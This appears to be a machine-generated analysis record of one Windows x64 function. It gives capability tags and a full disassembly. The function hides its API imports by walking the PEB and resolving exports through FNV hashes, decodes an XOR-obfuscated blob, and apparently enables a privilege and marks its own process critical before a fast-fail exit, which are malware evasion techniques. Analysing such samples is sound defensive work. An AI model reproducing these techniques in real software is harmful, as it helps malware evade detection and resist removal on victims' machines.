Function at 0x14038fd90
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rdx
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rsi, rdx
mov rdi, rcx
xor r14d, r14d
mov dword [rsp + 0x28], r14d
call fcn.140395690
mov ebx, eax
mov rcx, rdi
call fcn.140394f10
add ebx, eax
lea r10, [rsp + 0x65]
nop dword [rax + rax]
dec r10
mov eax, 0xcccccccd
mul ebx
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub bl, cl
add bl, 0x30
mov byte [r10], bl
mov ebx, edx
test edx, edx
jne 0x14038fdd0
lea r9, [rbp + 0xb0]
lea r8, [rsp + 0x65]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.14035d6b0
mov dword [rsp + 0x28], 0x18
lea rdx, [rsp + 0x70]
mov rcx, rdi
call fcn.1403960e0
nop
lea r9, [rsp + 0x30]
mov r8, rax
lea rcx, [rbp - 0x20]
call fcn.140371530
mov dword [rsp + 0x28], gethostname
lea r8, [rbp - 0x20]
mov rdx, rsi
mov rcx, rdi
call fcn.140397c40
mov dword [rsp + 0x28], reloc.WS2_32.dll_gethostname
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14038fe90
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14038fe8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403905d5
call fcn.140419458
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x14038fedc
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14038fed7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403905db
call fcn.140419458
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14038ff2a
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14038ff25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403905e1
call fcn.140419458
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x30], 0
cmp qword [rsi + 0x10], 0
jne 0x1403905be
mov rcx, qword [0x14049bfa8]
movabs rax, 0x59acf7166d748c06
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x70], rax
movabs rax, 0xb282ea1e78be20a2
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x68], rax
movabs rax, 0x83531703619dea5c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x60], rax
movabs rax, 0x82b3880ac3bb1b64
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x58], rax
movabs rax, 0x3d76346948f226a8
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x50], rax
movabs rax, 0x9ee5275c77b2d636
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x48], rax
movabs rax, 0x4b0081e48b5c6e07
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x40], rax
movabs rax, 0x12f7997743e7a2c1
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x38], rax
movabs rax, 0x78a9df348a72ddfe
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x30], rax
movabs rax, 0x5e0b42a7ebe82dcf
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x28], rax
movabs rax, 0x2ade92653828b645
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x20], rax
movabs rax, 0xd7c6b66c1dcd75fe
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x28], rax
movabs rax, 0xf6324b730ee9812f
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x30], rax
movabs rax, 0xdec0f87aa29b7310
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x38], rax
movabs rax, 0x55561949208653c9
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x40], rax
movabs rax, 0xff8a4b0004c2a242
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x48], rax
movabs rax, 0x1763f397d72e0b63
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x50], rax
movabs rax, 0x779eed1e2f8ed6b4
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x58], rax
movabs rax, 0xcc0b35dfe07818d
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x60], rax
movabs rax, 0x5e7b32c4c59b48a6
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x68], rax
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [rbp - 0x60]
pxor xmm1, xmmword [rbp + 0x30]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [rbp - 0x50]
pxor xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [rbp - 0x40]
pxor xmm1, xmmword [rbp + 0x50]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [rbp - 0x30]
pxor xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp - 0x30], xmm0
mov r9d, ntohs
lea r8, [rbp - 0x70]
lea rdx, [rbp]
call fcn.140398980
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x70], 0
mov rbx, qword [0x14049bfc0]
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x3b
lea r8, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae r8, qword [rbp]
mov r9, qword [rbp + 0x10]
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.14035ab50
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov dword [rsp + 0x28], 0xbb
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.14035b6c0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140390271
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14039026c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403905e7
call fcn.140419458
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x50], 0
mov dword [rsp + 0x28], 0xb9
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1403902c9
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1403902c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403905ed
call fcn.140419458
mov byte [rbp + 0xb0], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140390366
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140390366
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xf5bebcf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140390361
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140390340
cmp r8d, 0xbc28f7a3
je 0x14039036b
test r9d, r9d
jne 0x140390320
mov rax, qword [rax]
jmp 0x1403902f0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea r9, [rbp + 0xb0]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x14]
call r10
mov dword [rbp + 0xb8], 1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140390436
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140390436
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r11]
add rcx, r11
mov r8d, 0xe5bea3c
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140390431
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140390410
cmp r8d, 0x2446509d
je 0x14039043b
test r9d, r9d
jne 0x1403903f0
mov rax, qword [rax]
jmp 0x1403903c0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, 4
lea r8, [rbp + 0xb8]
lea edx, [r9 + 0x19]
mov rcx, 0xffffffffffffffff
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1403904f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1403904f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x115beef5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1403904f1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1403904d0
cmp r8d, 0xdb7e3cf7
je 0x1403904fb
test r9d, r9d
jne 0x1403904b0
mov rax, qword [rax]
jmp 0x140390480
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rdx + rax*4]
add r8, r10
mov edx, dword [0x7ffe0014]
mov rcx, 0xffffffffffffffff
call r8
mov ecx, 0xa
call fcn.140419954
lea rcx, [rax + 1]
call fcn.140419458
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov dword [rbx], 0xa
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov edx, 4
mov rcx, rbx
call fcn.140419458
mov ecx, dword [0x7ffe0014]
int 0x29
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x1403905be
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1403905b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403905cf
call fcn.140419458
mov rax, rsi
add rsp, 0x170
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
int3